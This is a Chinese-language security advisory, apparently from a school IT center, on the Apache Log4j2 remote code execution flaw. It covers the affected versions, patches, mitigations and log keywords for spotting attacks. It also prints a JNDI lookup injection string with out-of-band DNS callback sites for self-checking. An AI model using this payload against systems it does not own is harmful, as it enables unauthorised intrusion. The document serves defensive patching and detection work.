2021年12月9日,天融信云贵安服团队监测到一则 Apache Log4j2组件存在远程代码执行漏洞的信息,并成功复现该漏洞。漏洞威胁程度为严重。截止目前,学校信息中心系统管理员已同厂商联系检查漏洞风险,并及时安装补丁文件,更新升级系统。请各单位系统管理员及时做好数据库、重要文件的备份。
漏洞概述
Apache log4j2远程代码执行漏洞是由于Apache Log4j2某些功能存在递归解析功能,攻击者可利用该漏洞在未授权的情况下,构造恶意数据进行远程代码执行攻击,最终获取服务器最高权限。
漏洞危害
该漏洞利用条件低,无需用户认证、默认配置、即可触发远程代码执行,影响版本多。
受影响范围
影响版本:2.0 ≤ Apache Log4j <= 2.14.1
漏洞自查
Payload:${jndi:ldap://xxxxxxxxxxxx} 里面 xxx 内容填写可接收并获取包详细内容地址
可以出网建议使用https://dnslog.cn, https://log.xn--9tr.com/
漏洞修复
最优方案:目前官方已发布测试版本修复该漏洞,受影响用户可先将Apache Log4j2 所有相关应用到最新版本,下载链接:
https://github.com/apache/logging
log4j2/releases/tag/log4j-2.15.0-rc2,该版本不确定是否稳定,建议提前做好备份之后在进行升级。注:原先提供的 rc1 版本,还是存在被绕过的风险,目前已更新版本 RC2,注意检查。
临时缓解措施(任选其中一种):
1.在 jvm 参数中添加 - D l o g 4 j 2 . f o r m a t M s g N o L o o k u p s = t r u e;
2.系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true;
3.创建“log4j2.component.properties”文件,文件中增加配置”log4j2.formatMsgNoLookups=true”;
攻击排查
1.入侵者可能会采用一些无回显漏洞验证的方式进行扫描、探测(例如:dnglog 一类站点),针对该手段可以通过应用系统报错日志中的"javax.naming.CommunicationException"、"javax.naming.NamingException: problem generating object using object factory"、"Error looking up JNDI resource"关键字进行排查。
2.目前最常见验证方式验证后,数据包内很可能存在 ${JNDI}的字样,可以通过全流量、WAF、EDR 等检测是否已经遭受到了进一步的入侵。